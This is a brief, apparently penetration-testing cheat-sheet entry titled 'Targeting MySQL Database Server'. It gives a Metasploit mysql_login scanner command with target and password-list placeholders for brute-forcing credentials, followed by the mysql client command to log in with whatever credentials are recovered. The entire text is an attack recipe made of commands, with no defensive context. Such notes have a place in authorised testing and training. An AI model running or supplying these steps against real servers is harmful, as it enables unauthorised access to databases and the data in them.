Targeting MySQL Database Server
-
Perform a brute-force attack to enumerate valid users on the system
use auxiliary/scanner/mysql/mysql_login set RHOSTS TARGET_IP set PASS_FILE PASSWORDS_LIST -
Log in with the credentials obtained above:
mysql -u USERNAME -p -h TARGET_IP
# Enter password when requested